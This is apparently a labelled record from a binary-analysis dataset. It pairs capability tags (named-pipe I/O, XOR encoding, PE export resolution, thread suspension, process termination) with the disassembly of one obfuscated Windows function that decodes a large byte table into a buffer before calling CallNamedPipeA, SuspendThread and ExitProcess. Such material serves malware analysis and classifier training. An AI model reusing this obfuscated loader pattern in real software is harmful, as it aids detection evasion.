Function at 0x140002948
Capabilities:
Connect pipe
Encode data using xor
Read pipe
Resolve function by parsing pe exports
Suspend thread
Terminate process
Write pipe

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [section..data]
lea r14, [0x140041010]
xor ebx, ebx
mov dword [rbp - 8], 0x345e
mov dword [0x140041014], ebx
mov esi, 0x39ab
mov dword [rbp - 0x14], esi
mov dword [rbp - 0x18], 0x3b3a
lea edi, [rbx + 1]
mov dword [rbp - 0x10], ebx
mov dword [0x14004102c], edi
mov dword [rax + 0x24], ebx
mov rax, qword [section..data]
mov dword [0x140041040], edi
mov dword [0x140041048], ebx
mov dword [0x14004104c], 0x45
mov dword [0x140041050], edi
mov dword [0x140041058], ebx
mov dword [rax + 0x54], ebx
mov rax, qword [section..data]
mov dword [0x14004106c], ebx
mov dword [0x140041078], edi
mov dword [0x140041080], edi
mov dword [0x140041098], ebx
mov dword [rax + 0x98], 0xd
mov rax, qword [section..data]
mov dword [rbp - 4], 0x3df2
mov dword [rbp - 0xc], 0x3143
mov dword [0x1400410b0], ebx
mov dword [rax + 0xb0], edi
mov rax, qword [section..data]
mov dword [rbp - 0x1c], esi
mov dword [0x1400410c4], ebx
mov dword [0x1400410d4], ebx
mov dword [rax + 0xc8], edi
mov rax, qword [section..data]
mov dword [rbp - 0x20], ebx
mov dword [0x1400410dc], ebx
mov dword [rax + 0xd0], ebx
mov rax, qword [section..data]
mov dword [0x1400410fc], edi
mov dword [rax + 0xf4], edi
mov rcx, qword [section..data]
mov dword [0x140041114], ebx
mov qword [0x140041120], 0xa
mov dword [0x140041130], ebx
mov dword [0x140041138], ebx
mov dword [0x140041148], 0x11
mov dword [0x14004114c], 0x41
mov qword [0x140041160], 0xf
imul eax, dword [rcx + 0x1c], 0x10e2c2
mov dword [rcx + 0x1c], eax
mov ecx, dword [rbp - 4]
mov edx, dword [rbp - 0x20]
sub ecx, 0x2b8
mov r8d, dword [rbp - 0xc]
add edx, esi
mov r9d, dword [rbp - 0x20]
xor r8d, 0xcbb
mov r10d, dword [rbp - 0x18]
add r9d, 0x38e5
mov eax, dword [rbp - 8]
sub r10d, 0x26e
add eax, 0xe1e
mov dword [rsp + 0x30], eax
mov qword [r11 - 0x40], r14
mov dword [r11 - 0x48], r10d
call fcn.140016440
mov rcx, qword [section..data]
mov edx, dword [0x140041130]
mov dword [rbp - 0x1c], eax
add edx, 0x1ca
mov eax, dword [0x140041064]
sub eax, dword [rcx + 0xc8]
add eax, 0x3ba484ed
mov dword [0x140041118], edx
mov dword [0x14004103c], eax
mov eax, 0xfffffe80
sub eax, dword [rcx + 0xb4]
add edx, eax
mov dword [0x140041118], edx
cmp dword [0x14004114c], 0x5d6a
je 0x140002b59
mov eax, dword [0x1400410d4]
sub eax, dword [0x1400410c0]
xor eax, 0xb2ac3fdc
add edx, eax
mov dword [0x140041118], edx
mov ecx, dword [rbp - 0x14]
mov edx, dword [rbp - 0x14]
add ecx, 0x8d1
mov r8d, dword [rbp - 0x20]
add edx, 0x44d
mov r9d, dword [rbp - 0x20]
add r8d, 0x3df2
mov eax, dword [rbp - 0x14]
add r9d, 0x3968
xor eax, 0x291
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
call fcn.140001f6c
cmp dword [0x1400410d8], 0x4003
lea rdx, [0x14001fc30]
mov r8, qword [section..data]
mov r11, rbx
cmove rdx, qword [0x1400410a0]
mov qword [0x1400410a0], rdx
mov dword [rbp - 0x14], eax
mov ecx, dword [r8 + 0x40]
mov eax, dword [0x140041124]
add eax, 0xffdcf491
add ecx, eax
mov eax, 0xfff021f1
or dword [0x1400410dc], ecx
sub eax, dword [r8 + 0x48]
sub eax, dword [0x140041080]
mov r10d, dword [r11 + rdx]
add r11, 4
add dword [0x140041148], eax
movsxd rcx, dword [0x140041084]
imul r10d, dword [0x140041044]
mov eax, dword [0x140041048]
add eax, 0xfff33e45
xor dword [0x14004114c], eax
mov rax, qword [0x1400410e8]
mov edx, r10d
shr edx, 0x10
mov byte [rcx + rax], dl
mov edx, r10d
mov r9d, dword [0x140041084]
mov r8, qword [section..data]
add r9d, edi
mov eax, dword [0x140041120]
add eax, 0xffeee475
mov dword [0x140041084], r9d
shr edx, 8
mov ecx, dword [r8 + 0x128]
xor ecx, dword [0x140041104]
add ecx, eax
mov dword [0x140041120], ecx
mov rax, qword [r8 + 0xd8]
movsxd rcx, r9d
mov byte [rcx + rax], dl
add dword [0x140041084], edi
mov rax, qword [section..data]
movsxd rcx, dword [rax + 0x74]
mov rax, qword [0x1400410e8]
mov byte [rcx + rax], r10b
mov rax, qword [section..data]
add dword [rax + 0x74], edi
mov ecx, dword [0x140041080]
sub ecx, dword [0x140041034]
mov rdx, qword [section..data]
add ecx, 0x1cb2c1
mov eax, dword [rdx + 0x88]
imul eax, ecx
mov dword [rdx + 0x88], eax
mov eax, dword [0x140041080]
sub eax, dword [0x140041098]
mov rcx, qword [section..data]
add eax, 0xfde0f
or dword [rcx + 0x13c], eax
mov eax, dword [0x140041014]
xor dword [0x14004102c], eax
mov eax, dword [0x140041058]
mov r8, qword [section..data]
dec eax
mov ecx, dword [r8 + 0xec]
add ecx, eax
mov dword [0x140041058], ecx
cmp r11, 0x17b80
jge 0x140002d1e
mov rdx, qword [0x1400410a0]
jmp 0x140002bc4
add dword [rbp - 0x1c], 0xfffff798
cmp dword [0x14004106c], 0x3b01
jae 0x140002d45
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x40]
xor eax, 0xba283df5
mov dword [rcx + 0x34], eax
jmp 0x140002d56
mov rax, qword [section..data]
mov dword [rax + 0xc4], 0x1e8aa
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x14]
xor ecx, 0x37d
cmp eax, ecx
je 0x1400031ef
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x1c]
add ecx, 0x789
cmp eax, ecx
jg 0x140002fe0
mov ecx, dword [rbp - 0x10]
mov edx, dword [rbp - 0x1c]
add ecx, 0x3df8
mov r8d, dword [rbp - 0x18]
xor edx, 0x733f
mov r9d, dword [rbp - 0x20]
xor r8d, 0x94e
xor r9d, 0x332a
mov qword [rsp + 0x20], r14
call fcn.140012c4c
mov dword [rbp - 0x20], eax
lea rcx, [0x140017a90]
mov rax, qword [section..data]
mov dword [rax + 0x34], 0x97115
mov eax, dword [0x140041104]
sub eax, dword [0x1400410a8]
xor eax, dword [0x140041044]
xor eax, 0xc05d81ea
mov dword [0x140041044], eax
mov rax, qword [section..data]
mov qword [rax + 0x90], rcx
mov rax, qword [0x1400410a0]
mov ecx, dword [0x140041080]
mov edx, dword [0x1400410d8]
add ecx, 0xfde0f
mov r8, qword [section..data]
add ecx, edx
mov r9d, dword [rbx + rax]
add rbx, 4
mov eax, dword [0x14004104c]
imul eax, ecx
imul r9d, dword [r8 + 0x34]
mov dword [0x14004104c], eax
mov eax, dword [0x1400410fc]
sub eax, dword [0x140041078]
add eax, 0x14674f
xor edx, eax
mov eax, dword [0x140041064]
inc eax
mov dword [0x1400410d8], edx
mov ecx, dword [r8 + 0xc4]
mov edx, r9d
imul ecx, eax
shr edx, 0x10
mov dword [r8 + 0xc4], ecx
mov eax, dword [0x140041048]
xor eax, 0xcc1bb
sub dword [0x1400410c4], eax
mov rax, qword [section..data]
movsxd rcx, dword [rax + 0x74]
mov rax, qword [0x1400410e8]
mov byte [rcx + rax], dl
mov rax, qword [section..data]
add dword [rax + 0x74], edi
mov rcx, qword [section..data]
mov eax, dword [0x140041064]
xor dword [rcx + 0xc8], eax
mov edx, dword [0x140041080]
mov eax, dword [0x1400410b0]
mov ecx, dword [0x140041014]
add ecx, 0xfde10
add ecx, edx
imul eax, ecx
movsxd rcx, dword [0x140041084]
mov dword [0x1400410b0], eax
mov eax, dword [0x140041120]
add eax, 0xfffffff6
xor edx, eax
mov eax, dword [0x1400410d8]
add eax, 0xfffe9e11
mov dword [0x140041080], edx
mov edx, dword [0x140041040]
add edx, eax
mov eax, dword [0x1400410a8]
imul eax, edx
mov edx, r9d
shr edx, 8
mov dword [0x1400410a8], eax
mov rax, qword [0x1400410e8]
mov byte [rcx + rax], dl
mov ecx, dword [0x140041084]
mov eax, dword [0x1400410c4]
add ecx, edi
sub dword [0x1400410d4], eax
mov rax, qword [0x1400410e8]
mov dword [0x140041084], ecx
movsxd rcx, ecx
mov byte [rcx + rax], r9b
mov ecx, dword [0x1400410a8]
mov eax, dword [0x1400410d8]
xor eax, dword [0x140041058]
add dword [0x140041084], edi
imul ecx, eax
mov eax, dword [0x140041164]
mov dword [0x1400410a8], ecx
mov rcx, qword [section..data]
sub dword [rcx + 0x154], eax
cmp rbx, 0x7f0
jl 0x140002df3
mov rcx, qword [section..data]
mov eax, dword [rcx + 0xc8]
add eax, 0xd5bb5
mov dword [rcx + 0x34], eax
mov ecx, dword [rbp - 0x18]
mov edx, dword [rbp - 0xc]
sub ecx, 0x810
mov r8d, dword [rbp - 0x14]
add edx, 0x1139
mov r10d, dword [rbp - 0x10]
sub r8d, 0x18f
mov eax, dword [rbp - 0x1c]
add r10d, esi
mov r9, qword [section..data]
add eax, 0x789
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r10d
call fcn.140014cbc
mov dword [rbp - 0x18], eax
jmp 0x1400031ef
mov ecx, dword [rbp - 0x20]
imul ecx, dword [0x14004106c]
mov eax, dword [rbp - 8]
add ecx, 0x3943
cmp eax, ecx
ja 0x1400031ef
mov eax, dword [rbp - 0x10]
xor eax, dword [0x140041160]
or dword [rbp - 0x20], eax
mov eax, dword [rbp - 0x10]
sub eax, dword [0x1400410cc]
xor dword [rbp - 0x1c], eax
mov ecx, dword [rbp - 0x20]
mov edx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
and edx, eax
mov r8d, dword [rbp - 0x14]
mov r9d, dword [rbp - 0x18]
add r8d, 0x426d
mov rax, qword [section..data]
imul ecx, dword [0x1400410c0]
imul r9d, dword [rax + 0x60]
mov eax, dword [rbp - 0x18]
xor eax, 0x320a
mov dword [rsp + 0x28], eax
add r9d, 0x38e5
mov dword [rsp + 0x20], r9d
mov r9, r14
call fcn.140014cbc
mov dword [rbp - 0xc], eax
mov rdx, r14
mov ecx, dword [rbp - 4]
mov eax, dword [rbp - 4]
or ecx, eax
mov r10d, dword [rbp - 4]
xor ecx, r10d
mov r8d, dword [rbp - 0xc]
mov eax, dword [rbp - 0xc]
mov r9d, dword [rbp - 0x10]
add eax, 0x320a
mov rbx, qword [section..data]
xor r8d, dword [0x140041034]
imul r9d, eax
imul eax, dword [rbx + 0xcc], 0x39ab
mov dword [rsp + 0x20], eax
call fcn.140003400
mov dword [rbp - 0x20], eax
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x18]
add ecx, dword [rbx + 0xa4]
mov r8d, dword [0x1400410d8]
add ecx, eax
mov edx, dword [0x140041120]
add r8d, 0xffffcba2
sub edx, dword [0x1400410e0]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov eax, dword [rbp - 0x18]
imul eax, dword [0x1400410a8]
mov rcx, qword [section..data]
mov edi, dword [0x1400410dc]
imul edi, dword [0x14004102c]
imul ebx, eax, 0x3847
mov eax, dword [rbp - 8]
mov r11d, dword [rbp - 4]
mov edx, dword [rcx + 0x138]
sub edi, 0x3df8
imul r9d, dword [0x140041098], 0x3943
sub edx, eax
mov rax, qword [section..data]
mov ecx, edi
mov r8d, dword [rax + 0x3c]
xor r9, 0x3968
mov eax, dword [rbp - 0x10]
and r11d, eax
mov r10d, dword [0x140041098]
mov eax, dword [rbp - 0x1c]
add r10d, 0xffffcba2
imul r10d, dword [0x140041050]
and eax, dword [0x140041030]
mov dword [rsp + 0x30], eax
imul r8d, edx
mov edx, ebx
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CallNamedPipeA]
mov eax, dword [0x140041164]
mov edx, dword [rbp - 0x1c]
mov ecx, dword [rbp - 0xc]
and rdx, rax
xor rcx, rdx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
sub ecx, esi
mov edx, dword [rbp - 8]
xor eax, dword [0x140041160]
mov r10d, dword [rbp - 0x14]
add edx, eax
mov eax, dword [rbp - 0x14]
and r10d, eax
mov eax, dword [0x140041058]
mov r8d, dword [0x140041034]
add eax, 0x3d3d
mov r9, qword [section..data]
or r8d, 0x345e
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r10d
call fcn.140014cbc
mov dword [rbp - 0x20], eax
mov eax, dword [rbp - 8]
sub eax, 0x332a
movsxd rcx, eax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov ecx, dword [0x14004111c]
call qword [sym.imp.KERNEL32.dll_ExitProcess]